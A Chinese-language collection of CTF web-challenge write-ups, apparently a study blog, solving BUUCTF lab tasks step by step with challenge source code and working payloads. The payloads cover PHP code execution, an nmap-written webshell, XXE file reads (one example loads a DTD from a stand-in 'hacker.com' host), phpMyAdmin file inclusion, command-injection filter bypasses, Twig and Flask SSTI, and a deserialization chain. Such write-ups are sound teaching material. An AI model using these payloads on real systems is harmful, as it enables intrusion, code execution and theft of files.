[BJDCTF2020]ZJCTF,不过如此 <?php error_reporting (0 );$text = $_GET ["text" ];$file = $_GET ["file" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ die ("Not now!" ); } include ($file ); } else { highlight_file (__FILE__ ); } ?>
第一步和上面的[ZJCTF 2019]NiZhuanSiWei
差不多
GET:text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
<?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
这里先尝试通过id参数和前面的文件包含写马尝试
GET:id=<?php eval($_POST[123]);?>
欸,但是这里似乎没有看到session_id,那这条路算是走不通
这里preg_replace
中的 /e
实现将替换字符串作为PHP代码执行,即第二个参数会被执行,但是改变不了,就要从第一三个参数上找到突破口。这里的strtolower("\\1")
表示匹配到的第一个,而.*
表示匹配任意字符多次,又由于.
在php中是非法变量名,所以要用\S
来代替,\S*
表示匹配非空白字符多次
总的来说,就相当于从${getFlag()}
中找全部字符串的第一个,就为${getFlag()}
,又由于/e
修饰符将${getFlag()}
作为php
代码执行,进而调用getFlag
函数实现rce
GET:\S*=${getFlag()}&cmd=system("ls /"); GET:\S*=${getFlag()}&cmd=system("cat /f*");
flag{b1937420-14a3-486d-bbca-941ff8bfe770}
<?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $_SERVER ['REMOTE_ADDR' ] = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET ['host' ])) { highlight_file (__FILE__ ); } else { $host = $_GET ['host' ]; $host = escapeshellarg ($host ); $host = escapeshellcmd ($host ); $sandbox = md5 ("glzjin" . $_SERVER ['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox ; @mkdir ($sandbox ); chdir ($sandbox ); echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host ); }
主要利用点就是根据nmap有一个-oG参数,可实现将命令和结果写到文件。而这两个函数这样使用会产生漏洞,反之则不会
参考文章PHP escapeshellarg()+escapeshellcmd() 之殇 ,escapeshellarg与escapeshellcmd共伤 - NineOne_E - 博客园
这里卡了我很久的一个点就是escapeshellarg()
在转义单引号时,会先转义再添加一个单引号,即'->'\''
举个例子
'<?php eval($_POST[123])?> -oG 1.php' ->(escapeshellarg) 首先转义单引号'\''<?php eval($_POST[123])?> -oG 1.php'\'' 然后添加单引号''\''<?php eval($_POST[123])?> -oG 1.php'\''' ->(escapeshellcmd) ''\\''\<\?php eval\(\$_POST\[123\]\)\?\> -oG 1.php'\\''' 两个相邻的''就会理解为一个空字符串 ''\\''-->前两个单引号和后两个单引号为空字符串,中间的\\转义为\ '\\'''-->第二三个单引号为空字符串,形成'\\',这是就不会转义,而是会直接作为\\ 等价于\<?php eval($_POST[123])?> -oG 1.php\\
但是如果这样利用的话不能正常执行命令,所以需要添加空格来将两边隔开
' <?php eval($_POST[123])?> -oG 1.php ' ->(escapeshellarg) 首先转义单引号'\'' <?php eval($_POST[123])?> -oG 1.php '\'' 然后添加单引号''\'' <?php eval($_POST[123])?> -oG 1.php '\''' ->(escapeshellcmd) ''\\'' \<\?php eval\(\$_POST\[123\]\)\?\> -oG 1.php '\\''' 两个相邻的''就会理解为一个空字符串 ''\\''-->前两个单引号和后两个单引号为空字符串,中间的\\转义为\ '\\'''-->第二三个单引号为空字符串,形成'\\',这是就不会转义,而是会直接作为\\ 等价于\ <?php eval($_POST[123])?> -oG 1.php \\
这样就能正常给nmap传递命令
GET:host=' <?php eval($_POST[123])?> -oG 1.php '
访问e6305cd14dbe6e1fc4041d81cb3fc9ee/1.php
蚁剑连接即可
flag{847a184b-de29-4f59-9e6e-a258374239ff}
GET:host='<?php eval($_POST[123])?> -oG 1.php ' 则不会生成文件,因为最后处理后的命令有问题,不会真的执行nmap命令 GET:host=' <?php eval($_POST[123])?> -oG 1.php' 会生成文件,不过是1.php\\文件
看wp很多都写的有参差,做题还是真的要多本地测测哇
[GXYCTF2019]禁止套娃 扫目录还是出不来,就算线程开1也还是扫不了,奇奇怪怪的,感觉没啥问题
python dirsearch.py -x 503,404,400 -u http://868780b1-4b2f-450f-8932-657be3f66f75.node5.buuoj.cn:81/ -t 1
看wp发现是git泄露,直接用gitextract来提
python2 git_extract.py http://5b42e570-14cf-4c31-a20f-9a55c2024ea6.node5.buuoj.cn:81/.git/
源码如下
<?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match ('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match ('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } } ?>
无参rce 这里可以直接用无参rce来打
GET:exp=print_r(scandir(current(localeconv()))); localeconv()函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"." current()函数返回数组中的第一项,即. scandir()会对目录进行扫描 print_r()进行输出
GET:exp=highlight_file(next(array_reverse(scandir(current(localeconv()))))); array_reverse()函数逆序输出数组 next()函数返回数组下一个值 highlight_file()高亮文件
flag{d758c119-0108-40a6-ae9e-e73614be8620}
类似的构造方式还有
GET:exp=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); pos()函数输出数组中当前元素的值,这里返回.
session_id 使用session_id()
时,需要用session_start()
来开启session
会话,php默认是不主动使用session
的
GET:exp=highlight_file(session_id(session_start())); Cookie:PHPSESSID=flag.php
[NCTF2019]Fake XML cookbook 源码中发现js代码
function doLogin ( ){ var username = $("#username" ).val (); var password = $("#password" ).val (); if (username == "" || password == "" ){ alert ("Please enter the username and password!" ); return ; } var data = "<user><username>" + username + "</username><password>" + password + "</password></user>" ; $.ajax ({ type : "POST" , url : "doLogin.php" , contentType : "application/xml;charset=utf-8" , data : data, dataType : "xml" , anysc : false , success : function (result ) { var code = result.getElementsByTagName ("code" )[0 ].childNodes [0 ].nodeValue ; var msg = result.getElementsByTagName ("msg" )[0 ].childNodes [0 ].nodeValue ; if (code == "0" ){ $(".msg" ).text (msg + " login fail!" ); }else if (code == "1" ){ $(".msg" ).text (msg + " login success!" ); }else { $(".msg" ).text ("error:" + msg); } }, error : function (XMLHttpRequest,textStatus,errorThrown ) { $(".msg" ).text (errorThrown + ':' + textStatus); } }); }
补充:XXE漏洞 1.什么是XML XML(Extensible Markup Language)意为可扩展性标记语言,XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素。
举例如下
<?xml version="1.0" ?> <!DOCTYPE people [ <!--定义此文档是 people 类型的文档--> <!ELEMENT people (name ,age ,mail )> <!--定义people元素有3个元素--> <!ELEMENT name (#PCDATA )> <!--定义name元素为“#PCDATA”类型--> <!ELEMENT age (#PCDATA )> <!--定义age元素为“#PCDATA”类型--> <!ELEMENT mail (#PCDATA )> <!--定义mail元素为“#PCDATA”类型--> ]]]> <people > <name > john</name > <age > 18</age > <mail > john@qq.com</mail > </people >
2.DTD 实体声明 DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:
3.内部实体声明 内部声明采用如下格式定义:
声明之后就可以通过“&实体名;
”来获取,示例如下
<!DOCTYPE foo [ <!ENTITY test "john" > ]> <root > <name > &test; </name > </root >
4.外部实体引用 XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。
(1)普通实体声明格式如下:
<!ENTITY 实体名 SYSTEM "URI"> 或者 <!ENTITY 实体名 PUBLIC "public_ID" "URI">
举个例子:
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo > &xxe; </foo > 声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。
(2)参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:
<!ENTITY % 实体名称 "实体的值"> 或者 <!ENTITY % 实体名称 SYSTEM "URI">
举个例子:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://hacker.com/evil.dtd" > %xxe; ]> <root> <name>&evil;</name> </root>
xxe.dtd 内容如下:
<!ENTITY evil SYSTEM "file:///etc/passwd">
上面先声明 xxe 参数实体,引入外部实体 “http://hacker.com/evil.dtd
“,里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。 在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。
普通实体和外部实体的差别:
作用范围:普通实体的作用范围是整个 XML 文档。当 XML 解析器遇到某个实体时,会将其替换为实体的定义内容。而参数实体只在声明它们的 DTD 内有效。DTD 是一种文档类型定义,它规定了 XML 文档的结构、标签等方面的规范。
题目 所以这里就可以通过username和password直接构造
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag" > ]> <user > <username > &admin; </username > <password > 123</password > </user >
flag{39ea905c-990c-4502-b9a7-9c5cad9bf576}
[GWCTF 2019]我有一个数据库 进环境发现是乱码,估计是不适配导致的,在源码索引中可以看到汉字
还是先扫目录试试
python dirsearch.py -u http://d87371a3-898b-488f-aff4-01854af10246.node5.buuoj.cn:81/ -t 1
好吧,线程开1都仍然爆429
可以看到有/robots.txt
,/MyAdmin/phpmyadmin/index.php
等有效页面
看/robots.txt
发现phpinfo.php
,暂没发现利用点
这里直接访问/MyAdmin/phpmyadmin/index.php
不行,要访问phpmyadmin/index.php
进入数据库管理页面,可以看到当前的版本信息
找到phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现_-CSDN博客
这里直接尝试包含文件,读到flag
GET:target=db_sql.php%253f/../../../../../../../../flag
flag{70269014-6831-42f4-91af-d86eb7b44abe}
[BJDCTF2020]Mark loves cat python dirsearch.py -u http://fd5d6747-8b72-4130-9759-68149793765c.node5.buuoj.cn:81 --timeout 2 -t 1 -e * -x 400,403,404,500,503,429
看了一个师傅的文章,加了一个--timeout 2
,真的就能进行扫描了,只有一个线程跑的有点慢就是了
看到第一个爆出来的是git文件,那就存在git泄露,尝试提取
这里看到一个小知识点补充
GitHacker获取文件,Git_Extract获取 .git 文件
githacker --url http://fd5d6747-8b72-4130-9759-68149793765c.node5.buuoj.cn:81/.git/ --output-folder C:\Users\25050\Downloads\1
看到index.php
后面跟了点东西
<?php include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ;foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as $x => $y ){ $$x = $$y ; } foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;
主要漏洞点就是$$x = $$y;
,这个能够实现变量覆盖,如果传参GET:a=b
,那么就会将$b
的值赋给$a
而且三个exit()
和echo
都可以获得flag,下面详细说明一下
exit($handsome); foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } }
首先要知道的是,在exit时会将变量的值一起带出来,所以进入条件之后将handsome的值赋为flag即可
flag=a&a=flag 即只要满足flag=(非flag字符)&(非flag字符)=flag就行 在第二轮循环时,$_GET['flag']为a,$x为a,a!==flag,所以成立进入条件
这时进入条件后就要将handsome
的值赋为flag
,其实这里还用到了前面的赋值语句,将$flag
的值赋给$handsome
注意这里三个参数的位置也有讲究
handsome=flag&flag=a&a=flag 经过赋值后 $handsome=$flag ->$handsome值为真实flag $flag=$a ->$flag值替换为空 $a=$flag ->$a的值也为空 但如果是下面这种 flag=a&a=flag&handsome=flag 经过赋值后 $flag=$a ->$flag值被替换为空 $a=$flag ->$a的值也为空 $handsome=$flag ->$handsome的值为空
GET:handsome=flag&flag=a&a=flag 还有一种方式,同理 GET:handsome=flag&flag=handsome
exit($yds); if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); }
这里还是可以通过赋值来直接实现,就不用传flag的值了
GET:yds=flag 经过赋值后 $yds=$flag ->$yds的值为真实flag
exit($is); if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); }
思路相同,直接赋值就行,由于中间用的或连接所以不用管POST,如果换成&&
那就打不出来了,POST:flag=flag
会将$flag=flag
,并且这个的位置没有讲究了,赋值只是把$flag
的值赋给$flag
,无伤大雅(PS:这里换了个靶机了,没注意到已经过期了)
echo “the flag is: “.$flag; foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;
这个就属于触发了没有GET
和POST
的情况,所以只要绕过这三个exit
就行了,payload如下
这里绕过第二三个exit很容易看出来,第一个exit中涉及到字符串类型比较,可以本地用以下代码测一下
<?php foreach ($_GET as $x => $y ){ echo '$_GET[\'flag\'] :' ; var_dump ($_GET ['flag' ]).'</br>' ; echo '$x :' ; var_dump ($x ).'</br>' ; echo '$_GET[\'flag\'] === $x :' ; var_dump ($_GET ['flag' ] === $x ).'</br>' ; echo '$x !== \'flag\' :' ; var_dump ($x !== 'flag' ).'</br>' ; };
详细分析一下这个过程
foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } } 1=flag&flag=1 第一次循环 $_GET['flag']=1(string即字符型) $x=1(int即整形) $_GET['flag']与$x比较是字符型和整型比较显然为false $x与'flag'比较是整形和字符型比较显然为false,$x !== 'flag'即为true 第二次循环 $_GET['flag']=1(string即字符型) $x=flag $_GET['flag']与$x比较显然为false $x与'flag'比较是两个字符型flag比较,$x !== 'flag'即为false
所以从上可以看出,这里成功绕过了三个exit,通过最后的echo输出了flag
flag{3f1d56a3-db43-4bf3-9b82-4e0a43b3691b}
[WUSTCTF2020]朴实无华 还是没东西,先扫个目录(线程数开5快多了)
python dirsearch.py -u http://645410d7-4da8-4c0e-b814-dafa7f0f1da9.node5.buuoj.cn:81/ --timeout 2 -t 5 -e * -x 400,403,404,500,503,429
欸,扫出来个robots.txt
,访问获得/fAke_f1agggg.php
,也没有东西,查看页面报错
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:3) in /var/www/html/index.php on line 4
那就抓个包看看,看到有/fl4g.php
,访问获得源码
这里看到是乱码,edge浏览器可以去下一个charset
插件
选Unicode就能获得源码
<?php header ('Content-type:text/html;charset=utf-8' );error_reporting (0 );highlight_file (__file__);if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); } if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); } if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); } ?>
第一层 if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); }
通过科学计数法绕过,可以本地用以下代码测一测,但是似乎php7.0
以下有效
原理是在intval
处理字符串2e4
时只会读取2
,读取到e
就会结束,但是2e4+1
就会作为数字转换后输出
<?php $a ="2e4" ;$b =intval ($a );$c =intval ($a +1 );echo $b .'</br>' ;echo $c .'</br>' ;echo "PHP Version: " . phpversion ();
第二层 if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); }
这里就一个积累,有字符串MD5后仍以0e开头
QNKCDZO QLTHNDT 240610708 s214587387a s878926199a s155964671a 0e215962017 #注意,最后一个可以用于$a==md5($a),md5加密后仍以0e开头
第三层 if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); }
这个直接用其他的命令读取flag就行,注意就是用[
替换_
,然后用重定向符绕过空格
GET:get[flag=ls</%26%26tac<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
最终payload
GET:num=2e4&md5=0e215962017&get[flag=ls</%26%26tac<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
flag{b215f935-b526-4045-a22a-171e2676de04}
[BJDCTF2020]Cookie is so stable flag页面随便传参123,看到cookie中有user=123
,并且渲染到页面,猜测ssti
回显成功,那么就直接常规注入,这里是php的页面,先尝试报错找到是哪个模板
常见模板有
python: jinja2 mako tornado django php:smarty twig Blade java:jade velocity jsp
给一个判断方法
输入{{7*'7'}}
,返回49
表示是 Twig
模块
输入{{7*'7'}}
,返回7777777
表示是 Jinja2
模块
那么这里就是Twig
模块
先直接贴一个payload,具体原理分析留着后面ssti拓展一起写
Cookie:user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("find / -name 'f*'")}} Cookie:user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
flag{436c6ae4-1756-4b49-b59b-5a1d0fdaedbb}
[MRCTF2020]Ezpop <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ @unserialize ($_GET ['pop' ]); } else { $a =new Show ; highlight_file (__FILE__ ); }
链子思路很清晰,__wakeup
中在比较字符串时就作为了字符串,触发__toString
Show::__wakeup->Show::__toString->Test::__get->Modifier::__invoke->Modifier::append
exp如下
<?php class Modifier { protected $var ="php://filter/read=convert.base64-encode/resource=flag.php" ; } class Show { public $source ; public $str ; } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } $a =new Show ();$a ->source=new Show ();$a ->source->str=new Test ();$a ->source->str->p=new Modifier ();echo urlencode (serialize ($a ));
payload为
GET:pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
flag{a9ba3c09-9beb-4958-b5b9-4cd80022144c}
[MRCTF2020]PYWebsite 页面源码中看到成功逻辑是访问/flag.php
,直接访问就行
注意到这里的购买者和我自己,尝试修改XFF,成功获得flag,只不过和背景一个色
X-Forwarded-For:127.0.0.1
flag{dca28c4c-137c-4ec9-9b4b-fdc222f530a8}
[安洵杯 2019]easy_web 进去可以直接看到url有一个cmd=
的位置,尝试直接ls,但是失败了
GET参数还有一个位置,丢厨子一把梭得到一个图片文件名
那么尝试访问flag.php
,即TmpZMll6WXhOamN5WlRjd05qZzNNQT09
但是并没有东西,重新尝试读下index.php
,即TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
源码中可以看到base64编码后的数据,解码后获得源码为
<?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi~ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
可以看到这里要求a和b不等,但MD5相等,并且是强制转换类型的强比较,碰撞payload即可
POST:a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 POST:a=123%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%14%9E%C7%E6G%D6%06%8Bq%3B%AC%93z%1E%FAz%0B%FC%F8%A2%DDX%2FN%03%CAv%A6%2C%2A%16%0B%9B%DD%F8%CB%CA%07%E8%FD%0Bd%F1%9B%3BD%8EI%C7v.%5Db%2C%CDIV%FB%F3%C0%3B1%FD%CB%81NL%14%A5%0F%13%FD%A7%E9%B7%F1Cx%27E%1A%F0%A0%3B%17%F5+b%C1%D7%F5%CC%CD%29%5D.%F5%60%9E%FE%3EJ%AF%16%D3%83%BD%AF%A0-mJ%CE%D3%9B%DF%08%99%F41%22%D7%1E%7E%F4%28%99%7B&&b=123%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%14%9E%C7%E6G%D6%06%8Bq%3B%AC%93z%1E%FAz%0B%FC%F8%22%DDX%2FN%03%CAv%A6%2C%2A%16%0B%9B%DD%F8%CB%CA%07%E8%FD%0Bd%F1%9B%3B%C4%8EI%C7v.%5Db%2C%CDIV%FB%F3%40%3B1%FD%CB%81NL%14%A5%0F%13%FD%A7%E9%B7%F1Cx%27E%1A%F0%A0%BB%17%F5+b%C1%D7%F5%CC%CD%29%5D.%F5%60%9E%FE%3EJ%AF%16%D3%83%BD%AF%A0%ADlJ%CE%D3%9B%DF%08%99%F41%22%D7%1E%FE%F4%28%99%7B
GET:img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=ca\t /flag POST:a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
flag{25edc1f6-ce50-48d6-8247-95f216d819af}
但是这里预期解中反斜杠是被禁用了的,所以这里sort
读文件也行,反正方法挺多的
GET:img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=sort /flag POST:a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
[WesternCTF2018]shrine import flaskimport osapp = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) @app.route('/' ) def index (): return open (__file__).read() @app.route('/shrine/<path:shrine>' ) def shrine (shrine ): def safe_jinja (s ): s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__' : app.run(debug=True )
过滤了()
、config
、self
的ssti
这里将config
和self
都过滤了,就要借助一些沙盒逃逸的方法来调用禁用的函数对象
在flask中有4中全局变量
1.current_app:代表当前flask程序实例
2.g:g作为flask全局的一个临时变量。充当媒介的功能
3.requests对象:客户端发送的HTTP请求内容
4.session:用户会话
{{url_for.__globals__['current_app'].config['FLAG']}} 本来如果没过滤config,就可以直接使用{{config}}来查看当前配置,但是这里被过滤了就要用全局变量来找到config,而current_app是flask的实例,所有和flask有关的都会放在current_app里面 也可以下面这种,方法同理 get_flashed_message():假设在a页面操作出错,跳转到b页面,在b页面显示a页面的错误信息 {{get_flashed_messages.__globals__['current_app'].config['FLAG']}} {{''.__class__.__base__}}
flag{26967718-9d41-4336-bb02-85476a6cd445}
注意,这里的config
直接出现了,但是没有被替换,原因就是黑名单只拦截了直接的 config
和 self
,但这里的 config
是通过 current_app
的属性访问的,没有直接出现在模板中,因此不会被替换为 None
。下面是ai的解释
current_app.config
不会 被拦截,因为:
黑名单只匹配完整的变量名
它不会匹配 xxx.config
或 config.xxx
,只会匹配独立的 config
。
例如:{{ config }}
→ 被拦截,但 {{ some_object.config }}
不受影响。
current_app
是一个不同的变量
current_app
是 Flask 的全局变量(可通过 url_for.__globals__
获取),它本身没有被过滤。
current_app.config
访问的是 current_app
对象的 config
属性,而不是直接访问 config
变量。
